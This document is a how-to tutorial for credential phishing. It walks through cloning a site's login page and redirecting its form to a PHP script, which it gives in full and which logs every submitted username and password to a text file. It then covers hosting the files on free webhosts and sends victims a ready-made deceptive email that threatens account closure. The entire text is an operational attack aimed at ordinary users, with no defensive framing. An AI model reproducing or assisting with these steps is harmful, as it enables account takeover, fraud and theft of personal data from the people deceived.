What is phishing?
Phishing is considered as fraudulent process through which the attacker tries to acquire the sensitive information of the victim such as login credentials(usernames,passwords),credit card details by masquerading as a trustworthy entity.The process of phishing is carried out by means of email and instant messaging.
Phishing directs the victim to a fake website that looks almost identical to the legitimate site where the user is prompted to enter his credentials.
In this tutorial i will show you how to create a fake page that saves the phished passwords to a text file in your server.
firstly select a site for which you want to create a fake page.The page that is selected should contain fields for entering login credentials.After you are done with it save the page to your computer as domainname.html(name of the domain)-->open the page-->right click on the page to view the source.
Now when the source page opens,you have to search for "action" by pressing CTRL+F.Now you will find
something like
CODE<form id="loginform" action="https://www.site.com/accounts/login_ authenticate" method="post" onsubmit="return(LoginSubmit());">
Replace https://www.site.com/accounts/login_authenticate with mailer.php
To create a fake page we have to manipulated the page by changing the form action.Write the php code below to notepad and save it as mailer.php.
CODE<?php header ('Location: https://www.site.com/somelocation ');//*any location you want where the user is to be redirected*// $handle = fopen("login.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>
The above code saves the usernames and passwords to a text file with name login.txt.
So create a blank text file with name login.txt.
Now upload all the three ie..,domainname.html,mailer.php,login.txt to any free webhost like blackapplehost.com or justfree.com.
Copy the URL of the domainname.html which has to be sent to the victim by email.
Now when you are done with the above the next important task is to convince the user to click the link and login.A sample email is shown below.
Dear User ,
We are having some problems with our servers , and we need to confirm each
and every email id now . We are really sorry for the inconvenience but its
very important for you to confirm your email address , if you do not confirm
your email address within 3 days , we may even have to close your account
Click On Your Confirmation Code to Confirm
<*a href="http://www.yourhost.com/domainname.html">:211512<*/a> (remove * in code)
After clicking on the code just enter your email ID and password and sign in.
Sorry For the inconvenience .
Regards ,
When the user clicks the link provided and enters the credentials the username and the password are stored in login.txt.This completes the phishing tutorial.
I forgot to mention one thing-create email id and the username in the free hosting site in such a way that the user should believe that the mail and fakepage URL is legitimate.

